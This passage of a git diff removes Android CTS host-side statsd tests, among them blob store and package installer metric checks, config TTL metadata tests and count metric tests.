-        final long blobSize = blobCommitted.getSize();
-        assertThat(blobCommitted.getUid()).isEqualTo(getUid());
-        assertThat(blobId).isNotEqualTo(0);
-        assertThat(blobSize).isNotEqualTo(0);
-        assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
-
-        BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
-        assertThat(blobLeased.getUid()).isEqualTo(getUid());
-        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
-        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
-        assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
-
-        BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
-        assertThat(blobOpened.getUid()).isEqualTo(getUid());
-        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
-        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
-        assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
-    }
-
-    // Constants that match the constants for AtomTests#testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-
-    public void testPulledBlobStoreStats() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                Atom.BLOB_INFO_FIELD_NUMBER,
-                null);
-        uploadConfig(config);
-
-        final long testStartTimeMs = System.currentTimeMillis();
-        Thread.sleep(WAIT_TIME_SHORT);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
-        Thread.sleep(WAIT_TIME_LONG);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Add commit callback time to test end time to account for async execution
-        final long testEndTimeMs =
-                System.currentTimeMillis() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
-
-        // Find the BlobInfo for the blob created in the test run
-        AtomsProto.BlobInfo blobInfo = null;
-        for (Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasBlobInfo()) {
-                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
-                if (temp.getCommitters().getCommitter(0).getUid() == getUid()) {
-                    blobInfo = temp;
-                    break;
-                }
-            }
-        }
-        assertThat(blobInfo).isNotNull();
-
-        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
-
-        // Check that expiry time is reasonable
-        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
-                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
-        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
-                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
-
-        // Check that commit time is reasonable
-        final long commitTimeMs = blobInfo.getCommitters().getCommitter(
-                0).getCommitTimestampMillis();
-        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
-        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
-
-        // Check that WHITELIST and PRIVATE access mode flags are set
-        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
-        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
-                1);
-
-        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
-        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(getUid());
-
-        // Check that lease expiry time is reasonable
-        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
-                0).getLeaseExpiryTimestampMillis();
-        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
-    }
-
-    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
-        assertThat(rxb).isGreaterThan(0L);
-        assertThat(txb).isGreaterThan(0L);
-        assertThat(rxp).isGreaterThan(0L);
-        assertThat(txp).isGreaterThan(0L);
-    }
-
-    private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
-            throws Throwable {
-        if (!hasFeature(FEATURE_TELEPHONY, true)) return;
-
-        // Get MobileBytesTransfer as a simple gauge metric.
-        final StatsdConfig.Builder config = getPulledConfig();
-        addGaugeAtomWithDimensions(config, atomTag, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Generate some traffic on mobile network.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testGenerateMobileTraffic");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Force polling NetworkStatsService to get most updated network stats from lower layer.
-        runActivity("StatsdCtsForegroundActivity", "action", "action.poll_network_stats");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        final List<Atom> atoms = getGaugeMetricDataList(/*checkTimestampTruncated=*/true);
-        assertThat(atoms.size()).isAtLeast(1);
-
-        boolean foundAppStats = false;
-        for (final Atom atom : atoms) {
-            if (p.accept(atom)) {
-                foundAppStats = true;
-            }
-        }
-        assertWithMessage("uid " + getUid() + " is not found in " + atoms.size() + " atoms")
-                .that(foundAppStats).isTrue();
-    }
-
-    @FunctionalInterface
-    private interface ThrowingPredicate<S, T extends Throwable> {
-        boolean accept(S s) throws T;
-    }
-
-    public void testPackageInstallerV2MetricsReported() throws Throwable {
-        if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
-        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
-                new String[]{TEST_INSTALL_APK});
-        assertTrue(report.getIsIncremental());
-        // tests are ran using SHELL_UID and installation will be treated as adb install
-        assertEquals("", report.getPackageName());
-        assertEquals(1, report.getReturnCode());
-        assertTrue(report.getDurationMillis() > 0);
-        assertEquals(getTestFileSize(TEST_INSTALL_APK), report.getApksSizeBytes());
-
-        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
-    }
-
-    public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
-        if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
-
-        final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
-                new String[]{TEST_INSTALL_APK_BASE, TEST_INSTALL_APK_SPLIT});
-        assertTrue(report.getIsIncremental());
-        // tests are ran using SHELL_UID and installation will be treated as adb install
-        assertEquals("", report.getPackageName());
-        assertEquals(1, report.getReturnCode());
-        assertTrue(report.getDurationMillis() > 0);
-        assertEquals(
-                getTestFileSize(TEST_INSTALL_APK_BASE) + getTestFileSize(TEST_INSTALL_APK_SPLIT),
-                report.getApksSizeBytes());
-
-        getDevice().uninstallPackage(TEST_INSTALL_PACKAGE);
-    }
-
-    public void testAppForegroundBackground() throws Exception {
-        Set<Integer> onStates = new HashSet<>(Arrays.asList(
-                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
-        Set<Integer> offStates = new HashSet<>(Arrays.asList(
-                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
-
-        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);  // False: does not use attribution.
-        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
-
-        getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
-            "action", ACTION_SHOW_APPLICATION_OVERLAY));
-        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
-        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        Function<Atom, Integer> appUsageStateFunction = atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
-        popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
-        assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
-    }
-
-    private AtomsProto.PackageInstallerV2Reported installPackageUsingV2AndGetReport(
-            String[] apkNames) throws Exception {
-        createAndUploadConfig(Atom.PACKAGE_INSTALLER_V2_REPORTED_FIELD_NUMBER);
-        Thread.sleep(WAIT_TIME_SHORT);
-        installPackageUsingIncremental(apkNames, TEST_REMOTE_DIR);
-        assertTrue(getDevice().isPackageInstalled(TEST_INSTALL_PACKAGE));
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<AtomsProto.PackageInstallerV2Reported> reports = new ArrayList<>();
-        for(EventMetricData data : getEventMetricDataList()) {
-            if (data.getAtom().hasPackageInstallerV2Reported()) {
-                reports.add(data.getAtom().getPackageInstallerV2Reported());
-            }
-        }
-        assertEquals(1, reports.size());
-        return reports.get(0);
-    }
-
-    private void installPackageUsingIncremental(String[] apkNames, String remoteDirPath)
-            throws Exception {
-        getDevice().executeShellCommand("mkdir " + remoteDirPath);
-        String[] remoteApkPaths = new String[apkNames.length];
-        for (int i = 0; i < remoteApkPaths.length; i++) {
-            remoteApkPaths[i] = pushApkToRemote(apkNames[i], remoteDirPath);
-        }
-        getDevice().executeShellCommand(
-                "pm install-incremental -t -g " + String.join(" ", remoteApkPaths));
-    }
-
-    private String pushApkToRemote(String apkName, String remoteDirPath)
-            throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File apk = buildHelper.getTestFile(apkName);
-        final String remoteApkPath = remoteDirPath + "/" + apk.getName();
-        assertTrue(getDevice().pushFile(apk, remoteApkPath));
-        assertNotNull(apk);
-        return remoteApkPath;
-    }
-
-    private long getTestFileSize(String fileName) throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
-        final File file = buildHelper.getTestFile(fileName);
-        return file.length();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
deleted file mode 100644
index 0ccb13c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.metadata;
-
-import android.cts.statsd.atom.AtomTestCase;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.tradefed.log.LogUtil;
-
-public class MetadataTestCase extends AtomTestCase {
-    public static final String DUMP_METADATA_CMD = "cmd stats print-stats";
-
-    protected StatsdStatsReport getStatsdStatsReport() throws Exception {
-        try {
-            StatsdStatsReport report = getDump(StatsdStatsReport.parser(),
-                    String.join(" ", DUMP_METADATA_CMD, "--proto"));
-            return report;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsdstats output report.");
-            throw (e);
-        }
-    }
-
-    protected final StatsdConfig.Builder getBaseConfig() throws Exception {
-      StatsdConfig.Builder builder = createConfigBuilder();
-      addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-      return builder;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
deleted file mode 100644
index 7022732..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metadata;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.os.StatsLog.StatsdStatsReport.ConfigStats;
-import com.android.tradefed.log.LogUtil;
-
-
-import java.util.List;
-
-/**
- * Statsd Metadata tests.
- */
-public class MetadataTests extends MetadataTestCase {
-
-    private static final String TAG = "Statsd.MetadataTests";
-
-    // Tests that the statsd config is reset after the specified ttl.
-    public void testConfigTtl() throws Exception {
-        final int TTL_TIME_SEC = 8;
-        StatsdConfig.Builder config = getBaseConfig();
-        config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
-
-        uploadConfig(config);
-        long startTime = System.currentTimeMillis();
-        Thread.sleep(WAIT_TIME_SHORT);
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        boolean foundActiveConfig = false;
-        int creationTime = 0;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
-
-        while(System.currentTimeMillis() - startTime < 8_000) {
-            Thread.sleep(10);
-        }
-        doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
-        Thread.sleep(WAIT_TIME_SHORT);
-        report = getStatsdStatsReport();
-        LogUtil.CLog.d("got following statsdstats report: " + report.toString());
-        foundActiveConfig = false;
-        int expectedTime = creationTime + TTL_TIME_SEC;
-        for (ConfigStats stats: report.getConfigStatsList()) {
-            if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
-                // Original config should be TTL'd
-                if (stats.getCreationTimeSec() == creationTime) {
-                    assertWithMessage("Config should have TTL'd but is still active")
-                            .that(stats.hasDeletionTimeSec()).isTrue();
-                    assertWithMessage(
-                            "Config deletion time should be about %s after creation", TTL_TIME_SEC
-                    ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
-                }
-                // There should still be one active config, that is marked as reset.
-                if(!stats.hasDeletionTimeSec()) {
-                    assertWithMessage("Found multiple active CTS configs!")
-                            .that(foundActiveConfig).isFalse();
-                    foundActiveConfig = true;
-                    creationTime = stats.getCreationTimeSec();
-                    assertWithMessage("Active config after TTL should be marked as reset")
-                            .that(stats.hasResetTimeSec()).isTrue();
-                    assertWithMessage("Reset and creation time should be equal for TTl'd configs")
-                            .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
-                    assertWithMessage(
-                            "Reset config should be created when the original config TTL'd"
-                    ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
-                }
-            }
-        }
-        assertWithMessage("Did not find an active CTS config after the TTL")
-                .that(foundActiveConfig).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
deleted file mode 100644
index 9eccad6..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ /dev/null
@@ -1,544 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.CountBucketInfo;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class CountMetricsTests extends DeviceAtomTestCase {
-
-    public void testSimpleEventCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-    }
-    public void testEventCountWithCondition() throws Exception {
-        int startMatcherId = 1;
-        int endMatcherId = 2;
-        int whatMatcherId = 3;
-        int conditionId = 4;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-               MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcher(startMatcherId);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcher(endMatcherId);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId))
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addPredicate(p);
-
-        uploadConfig(builder);
-
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStop(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-        Thread.sleep(2000);  // Wait for the metrics to propagate to statsd.
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
-        assertThat(countData.getDataCount()).isGreaterThan(0);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
-    }
-
-    public void testEventCountWithConditionAndActivation() throws Exception {
-        int startMatcherId = 1;
-        int startMatcherLabel = 1;
-        int endMatcherId = 2;
-        int endMatcherLabel = 2;
-        int whatMatcherId = 3;
-        int whatMatcherLabel = 3;
-        int conditionId = 4;
-        int activationMatcherId = 5;
-        int activationMatcherLabel = 5;
-        int ttlSec = 5;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(whatMatcherId, whatMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateStartMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(startMatcherId, startMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher predicateEndMatcher =
-                MetricsUtils.stopAtomMatcherWithLabel(endMatcherId, endMatcherLabel);
-
-        StatsdConfigProto.AtomMatcher activationMatcher =
-                MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
-                                                           activationMatcherLabel);
-
-        StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
-                .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
-                        .setStart(startMatcherId)
-                        .setStop(endMatcherId)
-                        .setCountNesting(false))
-                .setId(conditionId)
-                .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                        .setId(MetricsUtils.COUNT_METRIC_ID)
-                        .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                        .setWhat(whatMatcherId)
-                        .setCondition(conditionId)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(predicateStartMatcher)
-                .addAtomMatcher(predicateEndMatcher)
-                .addAtomMatcher(activationMatcher)
-                .addPredicate(p)
-                .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.COUNT_METRIC_ID)
-                        .setActivationType(StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
-                        .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setTtlSeconds(ttlSec)));
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 1.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should be counted. Bucket 1 Count 2.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(endMatcherLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(startMatcherLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReported(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(whatMatcherLabel);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-        assertThat(countData.getDataCount()).isEqualTo(1);
-        assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
-        assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
-    }
-
-    public void testPartialBucketCountMetric() throws Exception {
-        int matcherId = 1;
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                .setId(MetricsUtils.COUNT_METRIC_ID)
-                .setBucket(StatsdConfigProto.TimeUnit.ONE_DAY)  // Should ensure partial bucket.
-                .setWhat(matcherId))
-                .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
-        uploadConfig(builder);
-
-        doAppBreadcrumbReportedStart(0);
-
-        builder.getCountMetricBuilder(0).setBucket(StatsdConfigProto.TimeUnit.CTS);
-        uploadConfig(builder);  // The count metric had a partial bucket.
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(10);
-        doAppBreadcrumbReportedStart(0);
-        Thread.sleep(WAIT_TIME_LONG); // Finish the current bucket.
-
-        ConfigMetricsReportList reports = getReportList();
-        LogUtil.CLog.d("Got following report list: " + reports.toString());
-
-        assertThat(reports.getReportsCount()).isEqualTo(2);
-        boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
-                reports.getReports(1).getCurrentReportWallClockNanos();
-
-        // Only 1 metric, so there should only be 1 StatsLogReport.
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            assertThat(report.getMetricsCount()).isEqualTo(1);
-            assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
-        }
-        CountMetricData data1 =
-                reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
-        CountMetricData data2 =
-                reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
-        // Data1 should have only 1 bucket, and it should be a partial bucket.
-        // The count should be 1.
-        assertThat(data1.getBucketInfoCount()).isEqualTo(1);
-        CountBucketInfo bucketInfo = data1.getBucketInfo(0);
-        assertThat(bucketInfo.getCount()).isEqualTo(1);
-        assertWithMessage("First report's bucket should be less than 1 day")
-                .that(bucketInfo.getEndBucketElapsedNanos())
-                .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
-                        1_000_000_000L * 60L * 60L * 24L);
-
-        //Second report should have a count of 2.
-        assertThat(data2.getBucketInfoCount()).isAtMost(2);
-        int totalCount = 0;
-        for (CountBucketInfo bucket : data2.getBucketInfoList()) {
-            totalCount += bucket.getCount();
-        }
-        assertThat(totalCount).isEqualTo(2);
-    }
-
-    public void testSlicedStateCountMetric() throws Exception {
-        if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
-
-        int whatMatcherId = 3;
-        int stateId = 4;
-
-        // Atom 9999 {
-        //     repeated AttributionNode attribution_node = 1;
-        //     optional bool is_filtered = 2;
-        //     optional bool is_first_match = 3;
-        //     optional bool is_opportunistic = 4;
-        // }
-        int whatAtomId = 9_999;
-
-        StatsdConfigProto.AtomMatcher whatMatcher =
-                MetricsUtils.getAtomMatcher(whatAtomId)
-                        .setId(whatMatcherId)
-                        .build();
-
-        StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
-            .setId(stateId)
-            .setAtomId(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-            .build();
-
-        StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
-            .setStateAtomId(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER)
-            .setFieldsInWhat(FieldMatcher.newBuilder()
-                    .setField(whatAtomId)
-                    .addChild(FieldMatcher.newBuilder()
